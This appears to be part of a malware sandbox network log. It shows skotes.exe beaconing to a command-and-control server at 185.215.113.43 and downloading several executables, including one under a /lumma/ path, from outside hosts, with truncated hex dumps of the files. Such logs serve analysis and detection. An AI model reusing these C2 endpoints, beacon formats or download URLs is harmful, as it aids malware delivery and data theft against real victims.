Jan 12, 2025 17:40:10.200252056 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 38 39 37 38 30 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038978021&unit=246122658369
Jan 12, 2025 17:40:10.973522902 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50018	185.215.113.16	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:11.139497995 CET	55	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16
Jan 12, 2025 17:40:11.848088026 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:10 GMT Content-Type: application/octet-stream Content-Length: 1949184 Last-Modified: Sun, 12 Jan 2025 16:14:09 GMT Connection: keep-alive ETag: "6783ea51-1dbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 9a 01 00 00 00 00 00 00 40 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@f@M@pM@Wk/Mp/M @.rsrc@.idata @ +@mqypurkv2@yfljshoc0M@.taggant0@M"@
Jan 12, 2025 17:40:11.848118067 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:11.848128080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:11.848141909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:11.848154068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:11.848164082 CET	1236	IN	Data Raw: 91 b9 a1 79 2d c8 45 8d 0e ab 8e 86 4f cf 19 9d aa c9 e5 8e ee 34 9f 9e 1d 7b b0 6a 3c a3 b6 fc 3d 13 10 7c 38 a9 75 21 1c 2f 72 99 6a d8 a5 b6 ae 4c 74 09 95 6f a0 e8 55 aa 71 a9 2e 6e ae 9e 4f 5b 23 c5 37 c8 16 b1 5d 10 a4 dd ff 53 24 f5 41 63 Data Ascii: y-EO4{j<=\|8u!/rjLtoUq.nO[#7]S$Ac5;<K5bM#x/{%u?@z\|#<Q2/)(=M$OM=drnt9]/-}iPAo:{a4ueIJ#Ia
Jan 12, 2025 17:40:11.848185062 CET	396	IN	Data Raw: 2f 50 6e d8 5b a9 7f b2 83 fa dc fa 55 c8 13 fd 85 b2 8d 76 ad 99 54 38 19 fd ae 6f 7d 33 6f 33 d6 f1 80 7e 24 6e d0 a6 dc db 82 a8 16 e3 86 1a 05 11 c9 18 0f 66 f6 3d 7d ef b2 77 0c dc 29 bc 71 61 4b ba 4c 64 28 32 cd ec 26 f1 cc 66 df ce 56 ab Data Ascii: /Pn[UvT8o}3o3~$nf=}w)qaKLd(2&fVXe]O0\m~U7Pj`=>g-tnyhd7VPY-JU"\|!)m_SeCY~w!MkMq,Q8k34TI,3UdY:
Jan 12, 2025 17:40:11.848198891 CET	1236	IN	Data Raw: fd da f4 32 80 dc cf b0 09 db f2 81 8b e3 66 5c 14 75 2c c1 db b2 38 b8 6c ef 3b f4 23 a7 7c ff 4f a0 b5 a9 1c 6c 22 13 39 9c b5 41 33 6d 24 6d b4 ff 0a 59 d1 b0 23 2f 8d a4 15 75 64 60 6b be b0 7c ac ff 9d a6 d6 fc 6e 83 15 f1 c3 be 09 89 9c a3 Data Ascii: 2f\u,8l;#\|Ol"9A3m$mY#/ud`k\|n1_dZecj%EFO>;33+?+W#t`A5ns[nUgjm0ma4&vn*1/=J^mb5;Oq{h\Ro~YPFvd\|=Cl,
Jan 12, 2025 17:40:11.848213911 CET	1236	IN	Data Raw: 79 68 16 db d6 9d d5 9d 05 ab 3d cc 63 92 ac f3 87 fb 37 f6 3e 4f 0a c8 d5 4a 6b 40 21 fb 35 55 1a 72 5c 6c 83 d9 0f 9f c8 73 bb 2f 2f da dd b4 a4 0a 30 22 2b 1a e7 02 55 1f d4 9c 2c c5 75 f2 3f 16 22 51 2f 4f 78 7a d5 a8 bc e7 58 07 85 e7 15 7b Data Ascii: yh=c7>OJk@!5Ur\ls//0"+U,u?"Q/OxzX{ku%$>M+#C3\|]kb9v=Z5*,3jnoJHSFn6#;n#w-}%q8aD8]0o~db1e}ioEGy&X+0NO
Jan 12, 2025 17:40:11.848228931 CET	448	IN	Data Raw: 0c e2 a4 be 4f a2 31 84 ca 43 7c 47 0f 1a dc b4 4e e5 c0 33 30 b2 f4 1c 01 a8 e8 65 15 c1 56 1a ed 73 38 bc db 60 65 bd 6b 8a db 7d 86 f4 3e 51 c7 b9 0f 57 36 80 6d db 2a eb 5d a9 10 03 ea 26 e7 e9 e1 ee e3 6c 92 bc 6e 92 5b bf 4c 9a 21 29 07 13 Data Ascii: O1C\|GN30eVs8`ek}>QW6m]&ln[L!)t]6sV>KQgr#l5'8>9kzbo<dq5dEQi0s6+$iUI=T\|.mU%t7+O/f`vY"Ulx jz@Qcl
Jan 12, 2025 17:40:11.853116989 CET	1236	IN	Data Raw: 8c 33 74 89 45 e9 7b 7f 24 cf 69 ce cb 51 59 50 98 2e 86 48 3d 5f 48 98 0f 13 18 da 98 a4 c6 19 24 e8 2a 99 42 74 89 93 15 b3 7a 01 04 a8 ca 22 a3 f7 60 e0 19 bc bb 98 fd 7d 0a 30 9d b3 d9 cb 58 37 e4 9b 3e 16 7c 66 cd 37 1f a3 d1 05 eb 3f c5 af Data Ascii: 3tE{$iQYP.H=_H$Btz"`}0X7>\|f7?,jb#eO&'"<k`TwFUlfr5531#Z?PyoM"4X3a2Hvc#QL^85F@1D7(5KL'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50023	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:17.125330925 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 39 30 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1039079001&unit=246122658369
Jan 12, 2025 17:40:17.747303963 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50024	185.215.113.16	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:18.272886038 CET	56	OUT	GET /lumma/random.exe HTTP/1.1 Host: 185.215.113.16
Jan 12, 2025 17:40:18.870239019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:17 GMT Content-Type: application/octet-stream Content-Length: 1862656 Last-Modified: Sun, 12 Jan 2025 16:14:16 GMT Connection: keep-alive ETag: "6783ea58-1c6c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 cb 85 81 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 28 04 00 00 ba 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 fa 33 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 50 05 00 6b 00 00 00 00 40 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELg(`I@I3@WPk@Q 0z@.rsrc@@.idata P@ 0*`@xhiufuko/@afrfmmjgPID@.taggant0`I"J@
Jan 12, 2025 17:40:18.870280981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:18.870316029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:18.870353937 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:18.870464087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:18.870496035 CET	1236	IN	Data Raw: dc f4 87 f9 1b ac 68 51 cc 70 31 2d df d4 c4 7a 13 9c 3c 79 dd f5 2a aa ca 75 87 4e db 42 b9 3a ee 8c 3a b7 4c c6 33 45 d2 5b 22 3e 9a 64 06 08 3c de 13 a1 75 62 73 a5 d6 43 88 1b 9e a4 e1 3b e8 75 09 45 bd c1 30 3f 1a a4 9d 11 3a 41 d4 5e 62 6f Data Ascii: hQp1-z<y*uNB::L3E[">d<ubsC;uE0?:A^boZvrp"@R4R\|cy,@<uBcZ;scwf+S14'-vd'v,tPD9zIvl3_]Fa"4;4x{T?YY%JTV[
Jan 12, 2025 17:40:18.870515108 CET	1236	IN	Data Raw: 42 12 be b8 55 0c d2 27 53 cc f0 3b b7 1c d4 7a be d6 89 9c b9 73 c9 98 90 61 78 ef 47 6d c4 9e c6 e9 3a 13 d1 06 7b 03 0b 17 d8 fd 75 73 04 3c 8f 89 d7 08 1f 75 36 64 d6 93 d2 d9 f2 76 64 4c ed 0d 2c 52 a5 24 e7 4c 92 13 0c 8a 26 4b eb 1c 5a 2c Data Ascii: BU'S;zsaxGm:{us<u6dvdL,R$L&KZ,69it+\dS<2'IL^}LGDE?O>8sy2sj&60\|s8E%k5D-F@CMPaev'mP(Q89`GF&
Jan 12, 2025 17:40:18.870548010 CET	1236	IN	Data Raw: fa 15 9a 3b 1e 8b e0 cf 28 8c 03 48 ff 80 37 c2 86 4c 27 b8 fe f9 9b 7a f8 f7 e2 1d 29 6b 00 97 1d 35 75 25 47 69 d4 b7 2a 1c 56 71 8c f3 e2 f4 40 e2 5b 34 d8 26 c4 92 db 9f bb 0d 97 28 65 fc c0 6d 26 37 20 a5 ac 2b 5c 68 f8 67 15 96 f9 cc 17 85 Data Ascii: ;(H7L'z)k5u%GiVq@[4&(em&7 +\hg!udKR5-~o$3iSVOI2A\!},CslqAVd>*e2]G5F3b1;G/+l_o}5i3n6LU!GNx]"
Jan 12, 2025 17:40:18.870584011 CET	1236	IN	Data Raw: 65 b4 2f f4 b3 bb 7f ed df 04 e3 36 8b 7c d4 be f4 e1 48 e1 f6 ed 3b 44 fc 4c c0 d4 20 3f 0b 95 75 a2 b4 7e 2d c4 7e 79 85 9e 0e 14 d7 05 8a 21 2b 29 b1 48 61 a2 fa 89 52 6d 34 51 e2 8c 5f 8a d0 93 04 bc df 7b de 8b f5 16 f3 06 2b c6 37 7d be 2f Data Ascii: e/6\|H;DL ?u~-~y!+)HaRm4Q_{+7}/sR2L\DgmPTYL)LI%\3ihB22a#wL=}_E_pJ)V8EGQ@ANPlc+\LiwM4/;-TLw g}{>
Jan 12, 2025 17:40:18.870620012 CET	1236	IN	Data Raw: 21 98 3b 75 33 38 f6 7c 70 17 99 c8 63 f9 2e 67 1f 56 fc 43 b3 ee 65 7f a4 e9 d3 f0 76 08 69 da f0 90 50 d4 4e cd 92 0c bc 89 35 fc 06 9b cd 3a 63 48 a4 1d b6 29 88 5c 36 21 02 95 d8 ca a4 71 59 8d 56 8f f2 82 fc ba ef 2f d3 d6 a0 a0 f9 aa 26 7f Data Ascii: !;u38\|pc.gVCeviPN5:cH)\6!qYV/&g"PnRZ^jP{M 9JaK[!(?(x%.P/'\|7X:;#1hAml]V#"O[(YlgtsH$<q4pI
Jan 12, 2025 17:40:18.875271082 CET	776	IN	Data Raw: 41 29 6c a7 84 80 53 4b 26 9c a8 cf 28 cc 99 60 bb 15 de ab 5e a8 28 b4 09 97 37 4f da d2 00 0a 3e 45 fb e5 cb ce 5b 9d fe 95 c0 d5 3a 8b a8 7b 44 d0 f4 43 e5 0a b4 9b 68 ca b8 6e 4e 94 b0 08 69 04 7b 3d 6d 98 68 57 05 0c c8 cf 59 b9 e2 fb be ac Data Ascii: A)lSK&(`^(7O>E[:{DChnNi{=mhWYM%uV<0xqJ3=+O630fA2#9,`;B]x]QD;0`J4Cj:ic>H,IN%"nqo&vmK=;T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50045	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:23.926845074 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 39 31 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1039112001&unit=246122658369
Jan 12, 2025 17:40:24.561026096 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50047	31.41.244.11	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:24.605300903 CET	67	OUT	GET /files/GoodTimes306/random.exe HTTP/1.1 Host: 31.41.244.11
Jan 12, 2025 17:40:25.305579901 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:25 GMT Content-Type: application/octet-stream Content-Length: 1918464 Last-Modified: Sun, 12 Jan 2025 10:35:12 GMT Connection: keep-alive ETag: "67839ae0-1d4600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 53 a5 70 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9a 03 00 00 06 02 00 00 00 00 00 00 e0 4c 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4d 00 00 04 00 00 50 c9 1d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 ca 4c 00 57 00 00 00 56 70 05 00 6a 00 00 00 00 60 05 00 08 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSpgL@MPLWVpj`q P@.rsrc`@.idata p@ ,@gyqqudfzP2~@uqvvkgldL @.taggant0L"$@
Jan 12, 2025 17:40:25.305598974 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:25.305612087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:25.305623055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:25.305634975 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:40:25.305644035 CET	1236	IN	Data Raw: b0 fc 8e f2 56 35 8c ed 9a 1c 2d 61 ba 36 c8 5f b7 77 2e 00 26 b7 81 30 f6 12 ad d2 eb c3 b2 3e 07 b1 c3 38 0c 8a 61 67 14 b3 92 13 0d ab 61 7b d0 4b 5b b4 c6 7f 8f 37 d6 03 22 00 d5 79 e5 78 d7 e0 e4 cc 49 48 e5 ef 0e 13 b6 4e 20 39 e5 54 2d b6 Data Ascii: V5-a6_w.&0>8aga{K[7"yxIHN 9T-0"L:##GD`4"?].7+B!TTg%;On^mn[WO;Gf2xk3)*"wQ=\H' 4s>xGLFL;!7
Jan 12, 2025 17:40:25.305649996 CET	224	IN	Data Raw: 41 7f ee ed be 5b 1d fe 63 f2 9b d3 48 ca 0f 2f 25 66 59 7f d1 0a d9 b5 17 af 2e df a9 34 06 8d 00 01 88 2e 9c 06 6f b3 83 72 c4 24 20 63 1f d6 2a 5e 91 b1 09 18 d7 06 1b bc 18 db 80 4e 5f a0 e9 fd d7 8d e8 9a 7b 27 0b 6d df be 3d b4 64 92 ea bf Data Ascii: A[cH/%fY.4.or$ c*^N_{'m=dbbJKz}>Ah'VIo"6(A{8mdZ=`4=Mvs[b>CBbu/(oo`~"V(MzSY3ers
Jan 12, 2025 17:40:25.305808067 CET	1236	IN	Data Raw: 75 7f 89 3f fc e9 73 02 70 1f 96 a9 76 1f 63 50 77 9a f8 84 cb d1 96 55 80 5c 0e 0d 5f 9f e8 b7 01 6c be c3 56 6e 3f 73 00 ef 88 a9 73 21 5c 57 e9 75 23 bb 1a 63 d7 c7 7f 6a f7 76 3b f2 b1 8c 0e ea 18 76 b1 46 27 d0 94 1f 06 eb eb 76 d7 3a 36 d3 Data Ascii: u?spvcPwU\_lVn?ss!\Wu#cjv;vF'v:6U]KKts3SoVVXg]NfIQ!aufqUk7npG<Ck66Kmow:1VZG\5Ccy14
Jan 12, 2025 17:40:25.305818081 CET	224	IN	Data Raw: f4 83 bf 76 73 39 ea 42 43 49 33 8b 48 d1 ba a3 da 8e 18 f5 02 1f d1 ea c0 1f 97 cf cb e5 93 cd 61 bf fb bd 72 73 9b 8a 34 d1 48 ed 67 2f f8 3e 97 3a b7 fc 55 b8 b3 ae cd b9 d8 e5 fd ab bf 27 65 f5 9d 6e 69 37 9d 2b 57 81 80 70 e8 6a e4 0f c0 38 Data Ascii: vs9BCI3Hars4Hg/>:U'eni7+Wpj8/HbT/UQm`zn/b{",FWK"W`63i][=FD<:#_>DchW2L)MmyW3
Jan 12, 2025 17:40:25.305887938 CET	1236	IN	Data Raw: 17 74 6d b3 d3 4b 3a 27 48 73 13 fe 96 44 2f 37 df 01 ba e1 10 ab ae e0 5f 1d 3b b9 a8 35 0f 83 d8 6d 9d 57 25 41 f9 e2 0f 6c 58 71 7b 04 ef 3b 73 5b 0b f3 64 38 8b 88 4c 36 b1 e8 33 23 07 fa bc 6c d7 9c 73 5f 50 77 d4 82 00 18 d3 da b9 e0 bd 6d Data Ascii: tmK:'HsD/7_;5mW%AlXq{;s[d8L63#ls_Pwm'-.a=)_U,)\~~:ANtr_wUwk.[;CKNND6!9^3x6w{h8mhFgN "('!wV73$ h
Jan 12, 2025 17:40:25.310734987 CET	1236	IN	Data Raw: e5 03 eb 36 0c ae ad 99 46 bc 6c ae b2 1b 1b 4d db 3c ab 7f 8e 2b 13 94 02 79 d9 0e c7 38 b9 9e 8d 1a 61 df ea 01 63 3b 06 ef dd 68 3f a3 64 7f e0 f2 4a 0e 43 b5 ae 75 74 bf 91 17 f6 ef cf 2e 84 8f 9e 0f 15 13 98 51 ee 51 91 ef ac 35 ef 63 ab 19 Data Ascii: 6FlM<+y8ac;h?dJCut.QQ5cP)i#84_J\|43l.@J8wz?}{~9`gTUm/6Cgf:)Ogv+~i <M?,-Pra-\|~:"VXdG

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	50051	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:29.396941900 CET	79	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Connection: Keep-Alive
Jan 12, 2025 17:40:30.116444111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:28 GMT Content-Type: application/octet-stream Content-Length: 1890304 Last-Modified: Sun, 12 Jan 2025 16:13:59 GMT Connection: keep-alive ETag: "6783ea47-1cd800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K3@WkJ8J @.rsrc@.idata @ p*@zfmfunjd 1@sebokevzJ@.taggant0J"@
Jan 12, 2025 17:40:30.116575003 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
